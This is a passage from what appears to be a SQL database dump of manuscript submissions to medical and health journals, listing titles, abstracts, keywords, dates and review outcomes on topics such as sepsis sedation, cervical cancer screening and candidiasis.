changes are constituted by transient modifications of the synaptic neurotransmission processes, while in the case of more lasting modifications they are constituted by changes in the processes of gene expression. Even after development is complete, the ability to change the organization of the nervous circuits of the cortex is not completely lost, but this ability decreases considerably (Bliss and Collingridge, 1993).','neuroscience, deep skills, recognition memory; spatial memory, physical activity, psychomotor skills, quantum physics, LagreeFitness, mental health, neuroplasticity, cognitive exercise, massage, exercise physiology, neurophysiology, psychology, psychophysiology',2805,NULL,'2023-10-12',NULL,'Submitted',4,NULL,'2024-01-18',NULL,1,1,'0','Accepted to publish.',0,NULL,NULL,NULL,0,0,0,NULL,0),(14104,14156,45,0,'iphsj-23-14104','Effect of Propofol, Midazolam on ICU patients with Sepsis',NULL,14,0,'','However, propofol and midazolam are widely used for intravenous sedation in very ill patients. Midazolam and propofol are used under light sedation in order to evaluate the effects of different sedation strategies on the clinical outcomes for sepsis patients. In a retrospective cross-sectional study between June 2021 and June 2023, an ICU in Baghdad Medical City examined sepsis patients who required mechanical ventilation and compared the sedation of those who got midazolam and propofol to those who did not.  The outcomes of the sequential organ failure assessment (SOFA), day one acute physiology and chronic health evaluation II (APACHE II), and emergency surgery were all recorded for the patients.  The midazolam and propofol groups each had 73 and 78 patients, with a mean age of 50 years (SD, 15.4 years) for the midazolam group and 56 years (SD, 16 years) for the propofol group, respectively. Of these participants, 52 (71.2%) and 56 (71.8%) were men. Midazolam and propofol groups\' median APACHE II scores were 21 (17–25) and 20(16–25), respectively. The median SOFA scores for midazolam and propofol were 6(4-8) and 6(4-9) respectively. In comparison to propofol groups, midazolam groups had longer median weaning periods, recovery times, and lengths of stays. Both the midazolam and propofol groups had higher rates of infection in the belly, lungs, and other body regions; the length of artificial breathing in both the midazolam and propofol groups exceeded 5 days. To support this finding, additional prospective studies are required.','',5352,NULL,'2023-10-12',NULL,'Submitted',2,NULL,'2023-10-30',NULL,1,1,'0','Accept',0,'','',NULL,0,0,1,NULL,0),(14105,14156,45,0,'iphsj-23-14105','Characteristics of major complications related to continuous epidural anesthesia',NULL,14,0,'','A prospective cross-sectional study was carried out at the Specialized Surgical Hospital in Medical City to assess the characteristics of major complications related to continuous epidural anesthesia. Demographic data, epidural procedure specifics, and problems (from the pre-anesthetic phase until resolution) were documented. Categorical variables were expressed as a number (%) whereas continuous variables were expressed as a mean (SD). Of the 120 patients enrolled, the mean age (SD) was 42.1 ±17.0 years old; 52.5% were in the age ? 40 years old; 72.5% were male. The mean of BMI (SD) was 29.9 ± 5.2 kg/m2. 18.3% of them underwent gynecological surgery, while 27.5% underwent general surgery, 64.2% of surgeries took less than 60 minutes. The result of the present study reported more than a quarter of them were overweight, and the majority of patients exhibited levels indicative of a lumber puncture. Epidural anesthesia was the cause of post-operative neurologic deficits in half of them, either new or worsening. Further researches are needed on large scale.','Epidural anesthesia, Complication; Dural puncture; hematoma',59086,NULL,'2023-10-12',NULL,'Submitted',2,NULL,'2023-10-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14106,14157,73,0,'ipjnn-23-14106','The Effects of Amyloid Beta Aggregation on Neuronal Transcription: A Commentary',NULL,3,1,'Neurodegenerative Disorders','','',357,NULL,'2023-10-13',NULL,'Submitted',2,NULL,'2023-10-31',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14107,14158,85,0,NULL,'A Cross-Sectional Survey of Knowledge, Attitudes and Practices (KAP) towards COVID-19 in working professionals of Islamabad during lockdown',NULL,14,0,'','Abstract:\r\nBackground \r\n The first confirmed case of COVID-19 in Pakistan was reported on 26 February 2020. Along with several other regions, Islamabad was affected by COVID-19 epidemic. Smart lockdown was declared on 23 March 2020 in Islamabad. The purpose of the survey was to study the status of Knowledge, Attitude and Practice regarding COVID-19 among the government employees, residing in Islamabad city, during COVID-19 outbreak. \r\nMethods\r\nA week during smart lockdown, a cross sectional survey was conducted in Islamabad city between 5th to 19th May 2020. Sociodemographic of participants were compared with one way, t-test, or Chi-square test. Data analysis was conducted using SPSS version 24.0. \r\nResults\r\nA total of 775 participants completed the survey. Among this final sample, average age was 24 years. Among the survey participants, 455 (59%) were men, 444 (had bachelor’s degree, 364(47%) had monthly income between Pakistani Rupees (PKR) 25,000 to 60,000, and 483 (62%) were married. The overall correct response rate of knowledge was 73.2%. The score in COVID-19 negative attitude was highest. 455 males reported handwashing. Majority (89%) had prior knowledge regarding COVID-19 clinical symptoms. The 71% showed their confidence in ability for Pakistan to control COVID-19 outbreak. 87% avoided reducing outdoor activities. \r\nConclusion \r\nThe study findings suggest that residents of Islamabad city have adequate levels of knowledge regarding COVID-19. However, it is paramount to introduce awareness campaigns and public health education to promote the knowledge and practice of COVID-19 disease.        \r\n','1.	Knowledge, Attitudes and Practices \r\n2.	COVID-19\r\n3.	Pakistan\r\n\r\n',2141,NULL,'2023-10-17',NULL,'Submitted',5,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14108,14159,85,0,NULL,'Assessing Influenza Activity Variations in the Asian Region During the Pre- and Post-Pandemic Period (2019-2023)',NULL,15,0,'','Background: The year 2021 witnessed a decline in seasonal influenza cases across Southeast Asia and the broader Asian region. However, a sudden surge in influenza cases during 2022-2023 necessitates a comprehensive exploration and analysis to inform future prediction models.\r\nObjective: Our study aims to evaluate the disease burden of influenza in Asian countries post-COVID-19, while comparing seasonal variations to the pre-pandemic influenza patterns.\r\nMethods: We conducted an extensive analysis of data spanning from January 2017 to September 2023 across ten Asian countries, categorizing them into three WHO regions. Data was sourced from the WHO Flunet system, falling under the purview of the WHO Global Influenza Program.\r\nFindings and Conclusion: The advent of COVID-19 significantly disrupted pre-pandemic influenza patterns. Limited data availability in the Asian WHO region led to some countries having unreported influenza seasons. Nevertheless, COVID-19 and influenza exhibited a mutually suppressive relationship during and after the pandemic. Notably, an observable increase in influenza A subtype cases was identified in both the northern and southern hemispheres, particularly in temperate zones. These variations in the influenza trend provide valuable insights for predicting future influenza outbreaks\r\n','Influenza activity, Asian region, post-pandemic, COVID-19, disease burden, WHO Global Influenza Program, influenza A subtype, temperate zones, prediction models.',3388,NULL,'2023-10-17',NULL,'Submitted',5,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14109,14160,45,0,'iphsj-23-14109','Is Knowledge Gap on Cancer of the Cervix Increasing the Incidences of Early Onset Cancer Amongst HIV Negative Young Women in Western Kenya: A Case Study of JOOTRH? ',NULL,14,0,'','Background: in many Low and middle income countries HIV and cervical cancer have always been interlinked, as HIV patients are more likely to be diagnosed with cervical cancer at a young age. The policy in Kenya is to screen all HIV positive women for cancer of the cervix.\r\n\r\nObjective: This study aimed to explore the increase in incidences of advanced cervical cancer in young HIV Negative women, as compared to HIV Positive, presenting at the hospital.\r\n\r\nMethodology: A review of hospital records of all patients aged 13-35 years presenting with Cancer of the Cervix regardless of HIV status at time of diagnosis in the period 2012 - 2019 of the study and purposive active recruitment of same age set in the 2020 – 2021period. \r\n\r\nFindings: After the introduction of routine screening of HIV +VE women, there was an increase of 18% of routine early screening of cancer of the cervix in the young HIV +VE patients as compared to their HIV –VE counterparts, from 10% to 28% in the 2012-2019 and 2020-2021 study periods. \r\nConclusion: Our conclusion is that apparently due to the early routine cancer of the cervix screening of young HIV positive women, cases are being diagnosed very early, in the pre-cancer and early stages, leading to early treatment and remission, in turn leading to the increased contribution of young HIV negative women with advanced cancer of the cervix.','Policy, Routine, Young-women, HIV,, Hospital Records and Western Kenya.',4962,NULL,'2023-10-18',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14110,14161,91,0,'ijddr-23-14110','SAUSSUREA COSTUS: A MEDICINAL HERB OF THE HIMALAYAS WITH DIVERSE THERAPEUTIC POTENTIAL',NULL,6,0,'','Saussurea costus, commonly known as Costus or Kuth, is a perennial medicinal herb belonging to the Asteraceae family. Indigenous to the Himalayan region, this plant has been an integral part of traditional medicine systems, such as Ayurveda and traditional Chinese medicine (TCM), for centuries. Its unique botanical characteristics, including tall stature, lance-shaped leaves, and vibrant yellow flowers, make it easily identifiable. However, it is the fleshy and aromatic rootstock that holds the greatest medicinal significance.\r\nThis review paper provides a comprehensive overview of Saussurea costus, encompassing its botanical characteristics, traditional uses, chemical composition, pharmacological activities, safety considerations, and potential therapeutic applications. The plant\'s roots and other plant parts have been used traditionally to address various health conditions, including respiratory ailments, digestive disorders, skin conditions, and rheumatic discomforts.\r\nThe diverse pharmacological activities of Saussurea costus stem from its rich chemical composition, which includes sesquiterpene lactones, flavonoids, phenolic acids, essential oils, and polysaccharides. Scientific investigations have highlighted the plant\'s anti-inflammatory, antioxidant, antimicrobial, hepatoprotective, and immunomodulatory effects, among others.\r\nWhile Saussurea costus has shown promise in various therapeutic applications, its safety and toxicity aspects must be considered. Precautions, including appropriate dosages, drug interactions, and potential allergic reactions, need to be addressed to ensure its responsible use.\r\nModern research continues to explore the therapeutic potential of Saussurea costus, opening new avenues for evidence-based medicine and offering insights into its potential applications in managing various health conditions. As the demand for natural remedies grows, Saussurea costus emerges as a valuable botanical resource with the potential to positively impact human health and contribute to the world of traditional and modern healing practices.\r\n','',5455,NULL,'2023-10-18',NULL,'Submitted',15,NULL,'2023-11-10',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14111,14160,45,0,'iphsj-23-14111','Policy on Routine Early Screening of Cancer of the Cervix and Treatment amongst HIV Positive is Decreasing the Cancer Prevalence in Young Women at a Western Kenya Hospital',NULL,14,0,'','Background: in many Low and middle income countries HIV and cervical cancer have always been interlinked, as HIV patients are more likely to be diagnosed with cervical cancer at a young age. The policy in Kenya is to screen all HIV positive women for cancer of the cervix.\r\n\r\nObjective: This study aimed to explore the increase in incidences of advanced cervical cancer in young HIV Negative women, as compared to HIV Positive, presenting at the hospital.\r\n\r\nMethodology: A review of hospital records of all patients aged 13-35 years presenting with Cancer of the Cervix regardless of HIV status at time of diagnosis in the period 2012 - 2019 of the study and purposive active recruitment of same age set in the 2020 – 2021period. \r\n\r\nFindings: After the introduction of routine voluntary early screening of HIV +VE women, there was an increase of 15.91% of routine early screening of cancer of the cervix in the young HIV +VE patients as compared to their HIV –VE counterparts, from 3.85% to 19.76% in the 2012-2019 and 2020-2021 study periods. \r\nConclusion: Our conclusion is that apparently due to the early routine cancer of the cervix screening of young HIV positive women, cases are being diagnosed very early, in the pre-cancer and early stages, leading to early treatment and remission, in turn leading to the increased contribution of young HIV negative women with advanced cancer of the cervix.','Policy, Routine, Young-women, HIV, Hospital Records and Western Kenya',5375,NULL,'2023-10-20',NULL,'Submitted',2,NULL,'2023-10-26',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14112,14164,73,0,'ipjnn-23-14112','Understanding Age-Related Changes in White Matter-Gray Matter Functional Connectome in Normal Aging',NULL,3,1,'Neurodegenerative Disorders','','',357,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-11-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14113,14165,86,0,'ipaom-23-14113','The untold adventure of dental chromo treatment',NULL,3,0,'',' ','chromotherapy, Neurohormonal, Electrocardiography',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14114,14166,86,0,'ipaom-23-14114','Unani medication\'s ways to deal with sickness counteraction and wellbeing advancement',NULL,3,0,'',' ','Unani medication, Paediatrics, Psychiatry',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14115,14167,86,0,'ipaom-23-14115','Menopause: Corresponding and elective medicine',NULL,19,0,'','Menopause is connected with precarious aftereffects, including hot flashes, rest issues, personality issues, sexual brokenness, weight gain and diminishes in mental working. For the treatment of their side effects, numerous ladies go to corresponding and elective medication (CAM). This article directs a basic writing survey of the CAM medicines that are most often used to treat side effects of menopause. Important English-language writing from Walk 2017 to the present was found through electronic inquiries. As per the discoveries, mind-body practices might assist with reducing pressure and the uneasiness of a few menopausal side effects. Especially, entrancing is a psyche body treatment that has reliably been displayed to diminish hot glimmers to a clinically critical degree. Regular items\' viability isn\'t deep rooted and there are some wellbeing concerns. Clinical benefits providers should think about the verification on CAM in giving an integrative prosperity method for managing menopausal secondary effect the chiefs.','Complementary and alternative medicine • Hot flashes • Menopause • Symptoms • Review',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14116,14162,73,0,'ipjnn-23-14116','A Commentary on Advances in Neural Stem Cell Therapy for Spinal Cord Injury',NULL,3,1,'Neurodegenerative Disorders','','',336,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-11-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14117,14168,86,0,'ipaom-23-14117','Training reciprocal medicines and coordinated nursing to nursing understudies',NULL,11,0,'',' ','Corresponding treatments, Correlative and integrative practice',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14118,14169,86,0,'ipaom-23-14118','Integral and elective treatment for persistent exhaustion disorder patients',NULL,11,0,'',' ','Hyperinsulinemia, Etiology, Microbiota',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14119,14170,86,0,'ipaom-23-14119','Occupation\'s impact on the use of Korean medication',NULL,12,0,'',' ','Sociodemographic qualities, Sickness, Medication',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14120,14171,86,0,'ipaom-23-14120','Viability of durvadya taila and manjisthadi kwatha for youngsters\' dermatitis: A review',NULL,15,0,'','Ayurvedic pediatric OPDs much of the time face the Kshudra kustha sort of Vicharchika, which is set apart by the side effects Kandu (tingling), Srava (release), Pidaka (vesicles) and Shyava Varna (staining). Dermatitis sores that are dry and blackish are brought about by Vata contribution, though tingling in the tormented locales is brought about by Kapha and Srava by Pitta. Skin inflammation and Vicharchika are more comparable than not. Shodhana and Shamana treatment are stressed in the conventional texts of Ayurveda as a line of treatment at different places in the administration of Kustha. Shamana treatment is best over Shodhana treatment in young people. To evaluate the viability of Durvadya Taila and Laghu Manjisthadi Kwatha in Vicharchika in kids matured 5 to 16 years, a clinical exploration was carried out utilizing both comprehensive and elite measures. Patients got LaghuManjisthadi Kwatha two times day to day for 45 days while likewise getting outer use of Durvadya Taila and they were reached for follow-up care following 15 days of treatment finish. In a gathering of 30 patients, most of patients (86.67%) had extensive improvement, 6.7% had total reduction and 6.67% had gentle improvement. Durvadya Taila and Laghu Manjisthadi Kwatha are clearly protected and successful in the administration of Vicharchika in kids, as per the clinical examination.','Vicharchika • Eczema • Kustha • Durvadya Taila • Laghu Manjisthadi Kwatha',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14121,14171,86,0,'ipaom-23-14121','Viability of another ayurvedic drug for treating wounds',NULL,15,0,'','In the domain of medical procedure, wound mending is a significant issue since it requires effortless recuperation. The objective of the board is to hurry mending and stay away from disease. Wounds and their consideration certainly stand out from Acharya Sushruta. Various disinfectants that forestall disease are frequently utilized, but they have no impact in accelerating the recuperating system and are cytotoxic, which damages wound mending. To assess intense cutaneous poisonousness and wound-mending viability, Pentabark Kashaya (PK), a novel polyherbomineral definition, was made.','Pentabark kashaya • Ayurveda • Dermal toxicity • Wound healing',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14122,14172,86,0,'ipaom-23-14122','Stroke treatment and rehabilitation: Integrative medicine\'s clinical practice guideline: A review',NULL,19,0,'','Stroke is the second-leading global cause of death. About 6.8% of all fatalities in Hong Kong might be attributed to cerebrovascular disease. There are presently no recommendations to support the related professional practice for the treatment and rehabilitation of stroke, despite the fact that patients commonly employ integrative medicine treatments. As a result, we developed this framework for the development of an integrated clinical practice guideline (CPG) for stroke.','Clinical practice guideline • Stroke • Integrative medicine • Stroke rehabilitation',5013,NULL,'2023-10-23',NULL,'Submitted',2,NULL,'2023-10-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14123,14173,971,0,'ipaclr-23-14123','Diagnostic Evaluation of Rheumatoid Arthritis',NULL,14,1,'(Emerging Technologies in Clinical Research: Challenges and Opportunities)','Rheumatoid Arthritis (RA) is a chronic autoimmune disorder primarily affecting the joints. The diagnosis of RA relies on a combination of clinical assessment, medical history, and various laboratory and imaging techniques.\r\nThe diagnostic procedures and tests employed in the evaluation of Rheumatoid Arthritis (RA). RA is an autoimmune disease characterized by joint inflammation and pain, necessitating a multi-faceted diagnostic approach.','Rheumatoid Arthritis',3249,NULL,'2023-10-23',NULL,'Submitted',15,NULL,'2023-12-01',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14124,14174,251,0,'ipacm-23-14124','A Brief Note on Contamination of Microorganisms',NULL,12,0,'','A contamination is the attack of tissues by microorganisms, their duplication, and the response of host tissues to the irresistible specialist and the poisons they produce. An irresistible sickness, otherwise called a contagious infection or transferable sickness is a disease coming about because of a contamination.','Contamination, Sickness, Poisons, Infection',5414,NULL,'2023-10-26',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14125,14175,251,0,'ipacm-23-14125','Bacterial diseases to a great extent affect general wellbeing',NULL,12,0,'','Bacterial diseases to a great extent affect general wellbeing. Illness can happen at any body site and can be brought about by the life form itself or by the body\'s reaction to its presence. Microbes are sent to people through air, water, food, or living vectors. The main methods of transmission of bacterial contamination are contact, airborne, drop, vectors, and vehicular. Preventive measures decisively affect dismalness and mortality. Such measures incorporate water treatment, inoculation of creatures and people, individual cleanliness measures, and more secure sex rehearses. Bacterial protection from anti-infection agents is a developing concern ordering their reasonable use.','Bacterial diseases, Bacterial infection, Body, Air, Water, Food',780,NULL,'2023-10-26',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14126,14176,251,0,'ipacm-23-14126','A Short Note on Candidiasis',NULL,3,0,'','Candidiasis is a contagious disease because of a Candida (a sort of yeast). At the point when it influences the mouth, in certain nations it is regularly called thrush. Signs and side effects remember white patches for the tongue or different region of the mouth and throat. Different side effects might incorporate touchiness and issues gulping. At the point when it influences the vagina, it could be alluded to as a yeast contamination or thrush. Signs and side effects incorporate genital tingling, copying, and at times a white \"curds like\" release from the vagina. Yeast diseases of the penis are more uncommon and regularly present with an irritated rash. Once in a blue moon, yeast diseases might become obtrusive, spreading to different pieces of the body. This might bring about fevers alongside different side effects relying upon the parts in question.','Candidiasis, Candida, Mouth, Vagina',5414,NULL,'2023-10-26',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14127,14177,251,0,'ipacm-23-14127','Candidiasis can cause a variety of mental symptoms',NULL,12,0,'','Candidiasis can cause various mental side effects, for example, mind haze, memory issues, trouble concentrating, uneasiness, wretchedness, touchiness, temperament swings, and even psychosis in uncommon cases. This is on the grounds that Candida can create poisons that influence the mind and sensory system, prompting mental and profound issues.','Candidiasis, Touchiness, Candida, Memory issues',5414,NULL,'2023-10-26',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14128,14178,251,0,'ipacm-23-14128','A short note on bacterial vaginosis',NULL,3,0,'','Bacterial Vaginosis (BV) is a contamination of the vagina brought about by unreasonable development of bacteria. Normal side effects incorporate expanded vaginal release that frequently resembles fish. The release is typically white or dim in color. Igniting with pee may occur. Tingling is uncommon. Once in a while, there might be no symptoms. Having BV roughly pairs the gamble of disease by various physically communicated contaminations, including HIV/AIDS. It likewise builds the gamble of early conveyance among pregnant women.','Bacterial Vaginosis, bacteria, color, fish, vagina',780,NULL,'2023-10-26',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14131,14180,251,0,'ipacm-23-14131','An overview of candidiasis',NULL,3,0,'','Intrusive candidiasis is a disease brought about by a yeast (a kind of organism) called Candida. In contrast to Candida contaminations in the mouth and throat (likewise called \"thrush\") or vaginal \"yeast diseases,\" obtrusive candidiasis is a serious contamination that can influence the blood, heart, mind, eyes, bones, and different pieces of the body. Candidemia, a circulation system contamination with Candida, is a typical disease in hospitalized patients.','Intrusive candidiasis, Candidemia, Patients, Thrush',5414,NULL,'2023-10-26',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14132,14181,251,0,'ipacm-23-14132','A short note on cholera infection',NULL,12,0,'','Cholera is a disease of the small digestive tract by certain types of the bacterium Vibrio cholerae. Side effects might go from none, to gentle, to serious. The exemplary side effect is a lot of watery looseness of the bowels enduring a couple of days. Retching and muscle spasms may likewise happen. Looseness of the bowels can be serious to the point that it leads inside the space of hours to extreme drying out and electrolyte awkwardness. This might bring about depressed eyes, cold skin, diminished skin versatility, and wrinkling of the hands and feet. Parchedness can make the skin turn pale blue. Side effects start two hours to five days after openness.','Cholera, Vibrio cholerae, Spasms, Depressed eyes',788,NULL,'2023-10-26',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14134,14183,667,0,'iptb-23-14134','Translational genomics: Bridging the gap between genes and medicine',NULL,12,0,'','','',4686,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14135,14184,667,0,'iptb-23-14135','Clinical genetics: Unlocking the secrets of inherited diseases',NULL,12,0,'','Genetics is the blueprint of life, and understanding how our genes work is crucial for unraveling the mysteries of inherited diseases. Clinical genetics, a specialized field of medicine, focuses on the diagnosis, management, and counseling of individuals and families affected by genetic disorders. In this article, we will explore the fascinating world of clinical genetics, its significance in healthcare, the techniques used, and the ethical considerations surrounding genetic testing and counseling.','',59088,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14136,14185,85,0,'iphspr-23-14136','The economics of healthcare: Challenges and solutions',NULL,12,0,'','','',3282,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14137,14187,667,0,'iptb-23-14137','Translational stroke research: Challenges and their future scope',NULL,12,0,'','','',4686,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14138,14186,975,0,'ipjbs-23-14138','An outline of immunology',NULL,3,0,'','','',5410,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14139,14189,667,0,'iptb-23-14139','Stem cell translational medicine: Unleashing the therapeutic potential of regenerative medicine',NULL,12,0,'','','',4686,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14140,14190,975,0,'ipjbs-23-14140','Medical science cannot really exist without biochemistry',NULL,12,0,'','','',59089,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14141,14191,667,0,'iptb-23-14141','MicroRNAs as novel therapeutic agents and focuses in glioblastoma',NULL,12,0,'','','',3933,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14142,14188,85,0,'iphspr-23-14142','New forms of health manpower: Transforming healthcare delivery',NULL,12,0,'','','',4068,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14143,14192,667,0,'iptb-23-14143','Insights of proteomics to the advancing vascular disease management',NULL,12,0,'','','',59090,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14144,14193,85,0,'iphspr-23-14144','Transforming healthcare delivery: Challenges and innovations in the 21st century',NULL,12,0,'','','',59091,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14145,14194,667,0,'iptb-23-14145','Interpretation of human african trypanosomiasis biomarkers towards field application',NULL,12,0,'','','',59092,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14146,14196,85,0,'iphspr-23-14146','The science of health maintenance: A comprehensive study',NULL,12,0,'','','',59091,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14147,14195,91,0,'ijddr-23-14147','Advancements in the Development of Antibacterials: A Beacon of Hope in the Fight against Bacterial Infections',NULL,12,0,'','','',2446,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14148,14197,85,0,'iphspr-23-14148','The evolving landscape of healthcare: Challenges and opportunities',NULL,12,0,'','','',59091,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14149,14199,85,0,'iphspr-23-14149','The way to medical services change: A comprehensive analysis',NULL,12,0,'','','',59093,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14150,14200,975,0,'ipjbs-23-14150','Chromosomal anomalies and their effects on human health',NULL,12,0,'','','',59094,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14151,14201,667,0,'iptb-23-14151','Plasma proteomics to distinguish biomarkers: Applications in cardiovascular illnesses',NULL,12,0,'','','',59092,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14152,14202,85,0,'iphspr-23-14152','The development in medical care: Difficulties and potential aspects',NULL,12,0,'','','',59093,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14153,14203,85,0,'iphspr-23-14153','A prescription for change: The imperative of healthcare reform',NULL,12,0,'','','',59091,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14154,14198,91,0,'ijddr-23-14154','Commentary on clinical drug development',NULL,3,0,'','','',59095,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14155,14204,85,0,'iphspr-23-14155','The vital role of health human resources in healthcare delivery',NULL,12,0,'','','',59091,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14156,14205,975,0,'ipjbs-23-14156','Thyroid-associated eye disease such as Graves\' disease ophthalmopathy',NULL,12,0,'','','',59096,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14157,14206,45,0,'iphsj-23-14157','Using hazard function approach in estimating the health and economic burden of COVID-19 in Delhi, India- in terms of Disability adjusted life years (DALYs) and Productivity loss',NULL,14,0,'','Introduction: The world is facing a challenge of coping with the significant burden of disease on economy and health. This study aims to examine the health and economic impact of COVID-19 disease on years of life lost due to disability, years of life lost due to premature mortality, Disability Adjusted Life Years and productivity lost due to premature mortality and absenteeism in Delhi, India.\r\nMethod: Data related to COVID-19 cases, deaths and recovery is taken from the period of 2nd March 2020 to 30th April 2022. The hazard function modelling approach is explored to estimate the median duration of illness. Life expectancy in the absence of COVID-19 is estimated from abridged life table. Sensitivity analysis has also been conducted by adjusting variables.\r\nResults: A total of 448341.7 DALYs were lost due COVID-19 consisting of 425435.6 YLLs and 22906.4 YLDs. The rate of DALYs lost per thousand cases was 239 years with maximum rate of 651 DALYs lost per thousand cases in age group of 60 and above. The cumulative CPL lost due to absenteeism was ₹2,402,398,478 and due to death was ₹41,453,109,045.  \r\nConclusion: The severity of the disease was highest in the older age group and during the later period, the burden of illness due to disability increased in the age group of 15-30. The study is crucial for policy makers and nation as a whole to understand the various 